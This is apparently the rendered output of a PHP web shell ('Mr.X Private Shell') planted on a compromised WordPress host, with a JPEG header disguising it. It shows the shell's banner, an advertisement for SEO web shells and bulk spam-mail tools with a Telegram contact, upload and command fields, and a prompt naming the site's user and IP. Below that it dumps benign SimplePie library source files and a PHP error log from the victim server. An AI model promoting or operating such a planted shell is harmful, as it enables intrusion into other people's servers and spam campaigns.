����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.204: ~ $
Registry.php000064400000017330152222652070007074 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use InvalidArgumentException;
use SimplePie\Content\Type\Sniffer;
use SimplePie\Parse\Date;
use SimplePie\XML\Declaration\Parser as DeclarationParser;

/**
 * Handles creating objects and calling methods
 *
 * Access this via {@see \SimplePie\SimplePie::get_registry()}
 */
class Registry
{
    /**
     * Default class mapping
     *
     * Overriding classes *must* subclass these.
     *
     * @var array<class-string, class-string>
     */
    protected $default = [
        Cache::class => Cache::class,
        Locator::class => Locator::class,
        Parser::class => Parser::class,
        File::class => File::class,
        Sanitize::class => Sanitize::class,
        Item::class => Item::class,
        Author::class => Author::class,
        Category::class => Category::class,
        Enclosure::class => Enclosure::class,
        Caption::class => Caption::class,
        Copyright::class => Copyright::class,
        Credit::class => Credit::class,
        Rating::class => Rating::class,
        Restriction::class => Restriction::class,
        Sniffer::class => Sniffer::class,
        Source::class => Source::class,
        Misc::class => Misc::class,
        DeclarationParser::class => DeclarationParser::class,
        Date::class => Date::class,
    ];

    /**
     * Class mapping
     *
     * @see register()
     * @var array<string, class-string>
     */
    protected $classes = [];

    /**
     * Legacy classes
     *
     * @see register()
     * @var array<class-string>
     */
    protected $legacy = [];

    /**
     * Legacy types
     *
     * @see register()
     * @var array<string, class-string>
     */
    private $legacyTypes = [
        'Cache' => Cache::class,
        'Locator' => Locator::class,
        'Parser' => Parser::class,
        'File' => File::class,
        'Sanitize' => Sanitize::class,
        'Item' => Item::class,
        'Author' => Author::class,
        'Category' => Category::class,
        'Enclosure' => Enclosure::class,
        'Caption' => Caption::class,
        'Copyright' => Copyright::class,
        'Credit' => Credit::class,
        'Rating' => Rating::class,
        'Restriction' => Restriction::class,
        'Content_Type_Sniffer' => Sniffer::class,
        'Source' => Source::class,
        'Misc' => Misc::class,
        'XML_Declaration_Parser' => DeclarationParser::class,
        'Parse_Date' => Date::class,
    ];

    /**
     * Constructor
     *
     * No-op
     */
    public function __construct()
    {
    }

    /**
     * Register a class
     *
     * @param string $type See {@see $default} for names
     * @param class-string $class Class name, must subclass the corresponding default
     * @param bool $legacy Whether to enable legacy support for this class
     * @return bool Successfulness
     */
    public function register(string $type, $class, bool $legacy = false)
    {
        if (array_key_exists($type, $this->legacyTypes)) {
            // trigger_error(sprintf('"%s"(): Using argument #1 ($type) with value "%s" is deprecated since SimplePie 1.8.0, use class-string "%s" instead.', __METHOD__, $type, $this->legacyTypes[$type]), \E_USER_DEPRECATED);

            $type = $this->legacyTypes[$type];
        }

        if (!array_key_exists($type, $this->default)) {
            return false;
        }

        if (!class_exists($class)) {
            return false;
        }

        /** @var string */
        $base_class = $this->default[$type];

        if (!is_subclass_of($class, $base_class)) {
            return false;
        }

        $this->classes[$type] = $class;

        if ($legacy) {
            $this->legacy[] = $class;
        }

        return true;
    }

    /**
     * Get the class registered for a type
     *
     * Where possible, use {@see create()} or {@see call()} instead
     *
     * @template T
     * @param class-string<T> $type
     * @return class-string<T>|null
     */
    public function get_class($type)
    {
        if (array_key_exists($type, $this->legacyTypes)) {
            // trigger_error(sprintf('"%s"(): Using argument #1 ($type) with value "%s" is deprecated since SimplePie 1.8.0, use class-string "%s" instead.', __METHOD__, $type, $this->legacyTypes[$type]), \E_USER_DEPRECATED);

            $type = $this->legacyTypes[$type];
        }

        if (!array_key_exists($type, $this->default)) {
            return null;
        }

        // For PHPStan: values in $default should be subtypes of keys.
        /** @var class-string<T> */
        $class = $this->default[$type];

        if (array_key_exists($type, $this->classes)) {
            // For PHPStan: values in $classes should be subtypes of keys.
            /** @var class-string<T> */
            $class = $this->classes[$type];
        }

        return $class;
    }

    /**
     * Create a new instance of a given type
     *
     * @template T class-string $type
     * @param class-string<T> $type
     * @param array<mixed> $parameters Parameters to pass to the constructor
     * @return T Instance of class
     */
    public function &create($type, array $parameters = [])
    {
        $class = $this->get_class($type);
        if ($class === null) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($type) "%s" not found in class list.',
                __METHOD__,
                $type
            ), 1);
        }

        if (!method_exists($class, '__construct')) {
            $instance = new $class();
        } else {
            $reflector = new \ReflectionClass($class);
            // For PHPStan: $class is T.
            /** @var T */
            $instance = $reflector->newInstanceArgs($parameters);
        }

        if ($instance instanceof RegistryAware) {
            $instance->set_registry($this);
        } elseif (method_exists($instance, 'set_registry')) {
            trigger_error(sprintf('Using the method "set_registry()" without implementing "%s" is deprecated since SimplePie 1.8.0, implement "%s" in "%s".', RegistryAware::class, RegistryAware::class, $class), \E_USER_DEPRECATED);
            $instance->set_registry($this);
        }

        return $instance;
    }

    /**
     * Call a static method for a type
     *
     * @param class-string $type
     * @param string $method
     * @param array<mixed> $parameters
     * @return mixed
     */
    public function &call($type, string $method, array $parameters = [])
    {
        $class = $this->get_class($type);
        if ($class === null) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($type) "%s" not found in class list.',
                __METHOD__,
                $type
            ), 1);
        }

        if (in_array($class, $this->legacy)) {
            switch ($type) {
                case Cache::class:
                    // For backwards compatibility with old non-static
                    // Cache::create() methods in PHP < 8.0.
                    // No longer supported as of PHP 8.0.
                    if ($method === 'get_handler') {
                        // Fixing this PHPStan error breaks CacheTest::testDirectOverrideLegacy()
                        /** @phpstan-ignore argument.type */
                        $result = @call_user_func_array([$class, 'create'], $parameters);
                        return $result;
                    }
                    break;
            }
        }

        $callable = [$class, $method];
        assert(is_callable($callable), 'For PHPstan');
        $result = call_user_func_array($callable, $parameters);
        return $result;
    }
}

class_alias('SimplePie\Registry', 'SimplePie_Registry');
Exception.php000064400000000543152222652070007220 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use Exception as NativeException;

/**
 * General SimplePie exception class
 */
class Exception extends NativeException
{
}

class_alias('SimplePie\Exception', 'SimplePie_Exception');
HTTP/RawTextResponse.php000064400000004027152222652070011157 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

/**
 * HTTP Response for rax text
 *
 * This interface must be interoperable with Psr\Http\Message\ResponseInterface
 * @see https://www.php-fig.org/psr/psr-7/#33-psrhttpmessageresponseinterface
 *
 * @internal
 */
final class RawTextResponse implements Response
{
    /**
     * @var string
     */
    private $raw_text;

    /**
     * @var string
     */
    private $permanent_url;

    /**
     * @var array<non-empty-array<string>>
     */
    private $headers = [];

    /**
     * @var string
     */
    private $requested_url;

    public function __construct(string $raw_text, string $filepath)
    {
        $this->raw_text = $raw_text;
        $this->permanent_url = $filepath;
        $this->requested_url = $filepath;
    }

    public function get_permanent_uri(): string
    {
        return $this->permanent_url;
    }

    public function get_final_requested_uri(): string
    {
        return $this->requested_url;
    }

    public function get_status_code(): int
    {
        return 200;
    }

    public function get_headers(): array
    {
        return $this->headers;
    }

    public function has_header(string $name): bool
    {
        return isset($this->headers[strtolower($name)]);
    }

    public function get_header(string $name): array
    {
        return isset($this->headers[strtolower($name)]) ? $this->headers[$name] : [];
    }

    public function with_header(string $name, $value)
    {
        $new = clone $this;

        $newHeader = [
            strtolower($name) => (array) $value,
        ];
        $new->headers = $newHeader + $this->headers;

        return $new;
    }

    public function get_header_line(string $name): string
    {
        return isset($this->headers[strtolower($name)]) ? implode(", ", $this->headers[$name]) : '';
    }

    public function get_body_content(): string
    {
        return $this->raw_text;
    }
}
HTTP/Psr18Client.php000064400000010537152222652070010121 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

use InvalidArgumentException;
use Psr\Http\Client\ClientExceptionInterface;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\UriFactoryInterface;
use Throwable;

/**
 * HTTP Client based on PSR-18 and PSR-17 implementations
 *
 * @internal
 */
final class Psr18Client implements Client
{
    /**
     * @var ClientInterface
     */
    private $httpClient;

    /**
     * @var RequestFactoryInterface
     */
    private $requestFactory;

    /**
     * @var UriFactoryInterface
     */
    private $uriFactory;

    /**
     * @var int
     */
    private $allowedRedirects = 5;

    public function __construct(ClientInterface $httpClient, RequestFactoryInterface $requestFactory, UriFactoryInterface $uriFactory)
    {
        $this->httpClient = $httpClient;
        $this->requestFactory = $requestFactory;
        $this->uriFactory = $uriFactory;
    }

    public function getHttpClient(): ClientInterface
    {
        return $this->httpClient;
    }

    public function getRequestFactory(): RequestFactoryInterface
    {
        return $this->requestFactory;
    }

    public function getUriFactory(): UriFactoryInterface
    {
        return $this->uriFactory;
    }

    /**
     * send a request and return the response
     *
     * @param Client::METHOD_* $method
     * @param string $url
     * @param array<string,string|string[]> $headers
     *
     * @throws ClientException if anything goes wrong requesting the data
     */
    public function request(string $method, string $url, array $headers = []): Response
    {
        if ($method !== self::METHOD_GET) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($method) only supports method "%s".',
                __METHOD__,
                self::METHOD_GET
            ), 1);
        }

        if (preg_match('/^http(s)?:\/\//i', $url)) {
            return $this->requestUrl($method, $url, $headers);
        }

        return $this->requestLocalFile($url);
    }

    /**
     * @param array<string,string|string[]> $headers
     */
    private function requestUrl(string $method, string $url, array $headers): Response
    {
        $permanentUrl = $url;
        $requestedUrl = $url;
        $remainingRedirects = $this->allowedRedirects;

        $request = $this->requestFactory->createRequest(
            $method,
            $this->uriFactory->createUri($requestedUrl)
        );

        foreach ($headers as $name => $value) {
            $request = $request->withHeader($name, $value);
        }

        do {
            $followRedirect = false;

            try {
                $response = $this->httpClient->sendRequest($request);
            } catch (ClientExceptionInterface $th) {
                throw new ClientException($th->getMessage(), $th->getCode(), $th);
            }

            $statusCode = $response->getStatusCode();

            // If we have a redirect
            if (in_array($statusCode, [300, 301, 302, 303, 307]) && $response->hasHeader('Location')) {
                // Prevent infinity redirect loops
                if ($remainingRedirects <= 0) {
                    break;
                }

                $remainingRedirects--;
                $followRedirect = true;

                $requestedUrl = $response->getHeaderLine('Location');

                if ($statusCode === 301) {
                    $permanentUrl = $requestedUrl;
                }

                $request = $request->withUri($this->uriFactory->createUri($requestedUrl));
            }
        } while ($followRedirect);

        return new Psr7Response($response, $permanentUrl, $requestedUrl);
    }

    private function requestLocalFile(string $path): Response
    {
        if (!is_readable($path)) {
            throw new ClientException(sprintf('file "%s" is not readable', $path));
        }

        try {
            $raw = file_get_contents($path);
        } catch (Throwable $th) {
            throw new ClientException($th->getMessage(), $th->getCode(), $th);
        }

        if ($raw === false) {
            throw new ClientException('file_get_contents() could not read the file', 1);
        }

        return new RawTextResponse($raw, $path);
    }
}
HTTP/Response.php000064400000015435152222652070007645 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-FileCopyrightText: 2014 PHP Framework Interoperability Group
// SPDX-License-Identifier: MIT

declare(strict_types=1);

namespace SimplePie\HTTP;

/**
 * HTTP Response interface
 *
 * This interface must be interoperable with Psr\Http\Message\ResponseInterface
 * @see https://www.php-fig.org/psr/psr-7/#33-psrhttpmessageresponseinterface
 *
 * @internal
 */
interface Response
{
    /**
     * Return the string representation of the permanent URI of the requested resource
     * (the first location after a prefix of (only) permanent redirects).
     *
     * Depending on which components of the URI are present, the resulting
     * string is either a full URI or relative reference according to RFC 3986,
     * Section 4.1. The method concatenates the various components of the URI,
     * using the appropriate delimiters:
     *
     * - If a scheme is present, it MUST be suffixed by ":".
     * - If an authority is present, it MUST be prefixed by "//".
     * - The path can be concatenated without delimiters. But there are two
     *   cases where the path has to be adjusted to make the URI reference
     *   valid as PHP does not allow to throw an exception in __toString():
     *     - If the path is rootless and an authority is present, the path MUST
     *       be prefixed by "/".
     *     - If the path is starting with more than one "/" and no authority is
     *       present, the starting slashes MUST be reduced to one.
     * - If a query is present, it MUST be prefixed by "?".
     * - If a fragment is present, it MUST be prefixed by "#".
     *
     * @see http://tools.ietf.org/html/rfc3986#section-4.1
     */
    public function get_permanent_uri(): string;

    /**
     * Return the string representation of the final requested URL after following all redirects.
     *
     * Depending on which components of the URI are present, the resulting
     * string is either a full URI or relative reference according to RFC 3986,
     * Section 4.1. The method concatenates the various components of the URI,
     * using the appropriate delimiters:
     *
     * - If a scheme is present, it MUST be suffixed by ":".
     * - If an authority is present, it MUST be prefixed by "//".
     * - The path can be concatenated without delimiters. But there are two
     *   cases where the path has to be adjusted to make the URI reference
     *   valid as PHP does not allow to throw an exception in __toString():
     *     - If the path is rootless and an authority is present, the path MUST
     *       be prefixed by "/".
     *     - If the path is starting with more than one "/" and no authority is
     *       present, the starting slashes MUST be reduced to one.
     * - If a query is present, it MUST be prefixed by "?".
     * - If a fragment is present, it MUST be prefixed by "#".
     *
     * @see http://tools.ietf.org/html/rfc3986#section-4.1
     */
    public function get_final_requested_uri(): string;

    /**
     * Gets the response status code.
     *
     * The status code is a 3-digit integer result code of the server's attempt
     * to understand and satisfy the request.
     *
     * @return int Status code.
     */
    public function get_status_code(): int;

    /**
     * Retrieves all message header values.
     *
     * The keys represent the header name as it will be sent over the wire, and
     * each value is an array of strings associated with the header.
     *
     *     // Represent the headers as a string
     *     foreach ($message->get_headers() as $name => $values) {
     *         echo $name . ': ' . implode(', ', $values);
     *     }
     *
     *     // Emit headers iteratively:
     *     foreach ($message->get_headers() as $name => $values) {
     *         foreach ($values as $value) {
     *             header(sprintf('%s: %s', $name, $value), false);
     *         }
     *     }
     *
     * @return array<non-empty-array<string>> Returns an associative array of the message's headers.
     *     Each key MUST be a header name, and each value MUST be an array of
     *     strings for that header.
     */
    public function get_headers(): array;

    /**
     * Checks if a header exists by the given case-insensitive name.
     *
     * @param string $name Case-insensitive header field name.
     * @return bool Returns true if any header names match the given header
     *     name using a case-insensitive string comparison. Returns false if
     *     no matching header name is found in the message.
     */
    public function has_header(string $name): bool;

    /**
     * Retrieves a message header value by the given case-insensitive name.
     *
     * This method returns an array of all the header values of the given
     * case-insensitive header name.
     *
     * If the header does not appear in the message, this method MUST return an
     * empty array.
     *
     * @param string $name Case-insensitive header field name.
     * @return string[] An array of string values as provided for the given
     *    header. If the header does not appear in the message, this method MUST
     *    return an empty array.
     */
    public function get_header(string $name): array;

    /**
     * Return an instance with the provided value replacing the specified header.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new and/or updated header and value.
     *
     * @param string $name Case-insensitive header field name.
     * @param string|non-empty-array<string> $value Header value(s).
     * @return static
     * @throws \InvalidArgumentException for invalid header names or values.
     */
    public function with_header(string $name, $value);

    /**
     * Retrieves a comma-separated string of the values for a single header.
     *
     * This method returns all of the header values of the given
     * case-insensitive header name as a string concatenated together using
     * a comma.
     *
     * NOTE: Not all header values may be appropriately represented using
     * comma concatenation. For such headers, use getHeader() instead
     * and supply your own delimiter when concatenating.
     *
     * If the header does not appear in the message, this method MUST return
     * an empty string.
     *
     * @param string $name Case-insensitive header field name.
     * @return string A string of values as provided for the given header
     *    concatenated together using a comma. If the header does not appear in
     *    the message, this method MUST return an empty string.
     */
    public function get_header_line(string $name): string;

    /**
     * get the body as string
     *
     * @return string
     */
    public function get_body_content(): string;
}
HTTP/Psr7Response.php000064400000004201152222652070010406 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

use Psr\Http\Message\ResponseInterface;

/**
 * HTTP Response based on a PSR-7 response
 *
 * This interface must be interoperable with Psr\Http\Message\ResponseInterface
 * @see https://www.php-fig.org/psr/psr-7/#33-psrhttpmessageresponseinterface
 *
 * @internal
 */
final class Psr7Response implements Response
{
    /**
     * @var ResponseInterface
     */
    private $response;

    /**
     * @var string
     */
    private $permanent_url;

    /**
     * @var string
     */
    private $requested_url;

    public function __construct(ResponseInterface $response, string $permanent_url, string $requested_url)
    {
        $this->response = $response;
        $this->permanent_url = $permanent_url;
        $this->requested_url = $requested_url;
    }

    public function get_permanent_uri(): string
    {
        return $this->permanent_url;
    }

    public function get_final_requested_uri(): string
    {
        return $this->requested_url;
    }

    public function get_status_code(): int
    {
        return $this->response->getStatusCode();
    }

    public function get_headers(): array
    {
        // The filtering is probably redundant but let’s make PHPStan happy.
        return array_filter($this->response->getHeaders(), function (array $header): bool {
            return count($header) >= 1;
        });
    }

    public function has_header(string $name): bool
    {
        return $this->response->hasHeader($name);
    }

    public function with_header(string $name, $value)
    {
        return new self($this->response->withHeader($name, $value), $this->permanent_url, $this->requested_url);
    }

    public function get_header(string $name): array
    {
        return $this->response->getHeader($name);
    }

    public function get_header_line(string $name): string
    {
        return $this->response->getHeaderLine($name);
    }

    public function get_body_content(): string
    {
        return $this->response->getBody()->__toString();
    }
}
HTTP/error_log000064400000056433152222652070007256 0ustar00[23-Dec-2025 11:33:01 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[23-Dec-2025 11:33:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[23-Dec-2025 11:33:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[23-Dec-2025 11:33:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[23-Dec-2025 11:33:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[23-Dec-2025 11:53:58 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[23-Dec-2025 11:54:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[23-Dec-2025 11:54:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[23-Dec-2025 11:54:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[23-Dec-2025 11:54:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[24-Dec-2025 14:45:51 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[24-Dec-2025 14:45:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[24-Dec-2025 14:45:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[24-Dec-2025 14:45:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[24-Dec-2025 14:45:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[24-Dec-2025 15:11:13 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[24-Dec-2025 15:11:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[24-Dec-2025 15:11:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[24-Dec-2025 15:11:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[24-Dec-2025 15:11:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[04-Jan-2026 10:04:48 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[04-Jan-2026 10:04:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[04-Jan-2026 10:04:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[04-Jan-2026 10:04:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[04-Jan-2026 10:04:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[04-Jan-2026 10:14:44 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[04-Jan-2026 10:14:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[04-Jan-2026 10:14:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[04-Jan-2026 10:14:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[04-Jan-2026 10:14:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[05-Jan-2026 18:30:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[05-Jan-2026 18:30:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[05-Jan-2026 18:30:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[05-Jan-2026 18:30:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[05-Jan-2026 18:30:41 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
